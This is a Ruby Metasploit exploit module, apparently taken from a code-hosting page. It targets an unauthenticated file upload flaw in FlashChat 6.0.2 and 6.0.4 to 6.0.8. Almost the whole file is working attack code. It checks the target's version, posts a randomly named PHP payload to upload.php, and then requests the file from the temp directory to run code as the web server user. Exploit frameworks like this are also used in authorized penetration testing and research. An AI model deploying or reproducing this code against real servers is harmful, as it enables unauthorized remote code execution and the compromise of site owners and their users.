146 lines
3.8 KiB
Ruby
146 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "FlashChat Arbitrary File Upload",
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'Description' => %q{
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This module exploits a file upload vulnerability found in FlashChat
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versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
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feature in order to upload malicious PHP files without authentication
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which results in arbitrary remote code execution as the web server user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'x-hayben21', # Discovery and PoC
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'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
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],
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'References' =>
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[
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['OSVDB', '98233'],
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['EDB', '28709']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Arch' => ARCH_PHP,
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'Platform' => 'php',
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'Targets' =>
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[
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# Tested on FlashChat version 6.0.8
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[ 'Generic (PHP Payload)', {} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Oct 04 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
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], self.class)
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end
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#
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# Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
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#
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def check
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uri = normalize_uri(target_uri.path, '')
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res = send_request_raw({'uri' => uri})
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if not res
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vprint_error("#{peer} - Connection timed out")
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return Exploit::CheckCode::Unknown
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end
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version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''
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if version.empty?
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return Exploit::CheckCode::Unknown
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end
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vprint_status("#{peer} - Version found: #{version}")
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if version =~ /6\.0\.(2|4|5|6|7|8)/
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return Exploit::CheckCode::Appears
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elsif version <= "6.0.8"
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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#
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# Uploads our malicious file
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# Stolen from havalite_upload_exec.rb
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#
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def upload(base)
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fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
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php = "<?php #{payload.encoded} ?>"
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data = Rex::MIME::Message.new
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data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
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post_data = data.to_s
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(base, 'upload.php'),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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})
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if not res
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fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
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elsif res.code.to_i == 404
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fail_with(Failure::NotFound, "#{peer} - No upload.php found")
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elsif res.code.to_i == 500
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fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
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end
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return fname
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end
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#
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# Executes our uploaded malicious file
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# Stolen from havalite_upload_exec.rb
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#
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def exec(base, payload_fname)
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res = send_request_raw({
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'uri' => normalize_uri(base, 'temp', payload_fname)
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})
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if res and res.code == 404
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fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
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end
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end
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def exploit
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base = target_uri.path
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# upload
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print_status("#{peer} - Uploading malicious file...")
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fname = upload(base)
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# register the file to clean
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register_files_for_cleanup(fname)
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# exec
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print_status("#{peer} - Executing #{fname}...")
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exec(base, fname)
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end
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end
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